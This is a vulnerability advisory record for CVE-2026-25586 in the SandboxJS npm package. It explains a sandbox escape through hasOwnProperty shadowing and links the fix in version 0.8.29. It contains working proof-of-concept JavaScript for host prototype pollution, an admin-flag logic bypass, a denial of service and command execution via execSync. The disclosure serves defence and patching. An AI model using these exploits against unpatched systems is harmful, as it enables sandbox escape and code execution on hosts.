{"id":"CVE-2026-25586","aliases":["GHSA-jjpw-65fv-8g48"],"url":"https://o3.security/vulnerability/CVE-2026-25586","summary":"SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution","details":"## Summary\nA sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact.\n\nThe issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists.\n\n## Root Cause\n`prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped.\n\n- [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348)  `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');`\n\n<img width=\"1030\" height=\"593\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f\" />\n\n- [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true.\n\n<img width=\"929\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471\" />\n\n- [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing.\n\n<img width=\"769\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897\" />\n\n\n## Proofs of Concept\n `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration`\n `node node_modules/rollup/dist/bin/rollup -c`\n Runtime target: `dist/node/Sandbox.js`\n \n ### Baseline: `__proto__` blocked without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\ntry {\n  const res = sandbox.compile(`return ({}).__proto__`)().run();\n  console.log('res', res);\n} catch (e) {\n  console.log('error', e && e.message);\n}\n```\n<img width=\"734\" height=\"65\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9\" />\n\n### Prototype whitelist bypass -> host `Object.prototype` pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\nconst code = `\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.polluted = 'pwned';\n  return 'done';\n`;\n\nsandbox.compile(code)().run();\n\nconsole.log('polluted' in ({}), ({}).polluted);\n```\n<img width=\"549\" height=\"95\" alt=\"image\" src=\"https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30\" />\n\n\n### Logic bypass via prototype pollution\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.isAdmin = true;\n  return 'ok';\n`)().run();\n\nconsole.log('isAdmin', ({}).isAdmin === true);\n```\n<img width=\"527\" height=\"83\" alt=\"image\" src=\"https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57\" />\n\n### DoS by overriding `Object.prototype.toString`\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.toString = function () { throw new Error('aaaaaaa'); };\n  return 'ok';\n`)().run();\n\ntry {\n  String({});\n} catch (e) {\n  console.log('error', e.message);\n}\n```\n<img width=\"500\" height=\"147\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41\" />\n\n### RCE via host gadget (prototype pollution -> `execSync`)\n\n<img width=\"737\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40\" />\n\n\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst { execSync } = require('child_process');\n\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const o = { hasOwnProperty: () => true };\n  const proto = o.__proto__;\n  proto.cmd = 'id;\n  return 'ok';\n`)().run();\n\nconst obj = {}; // typical innocent object\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n\n## Additional Finding : Prototype mutation via intermediate reference\nThis does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks.\n### Mutate `Array.prototype.filter` without bypass\n```js\nconst Sandbox = require('./dist/node/Sandbox.js').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();\n\nconsole.log('host filter', [1,2].filter);\n```\n**Output:**\n```\nhost filter 1\n```","published":"2026-02-06T19:54:38.446Z","modified":"2026-08-12T03:51:39.629016207Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.29"}],"fix":{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","label":"nyariv/SandboxJS@67cb186"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25586.json"},{"type":"ADVISORY","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25586"},{"type":"FIX","url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.629016207Z"}}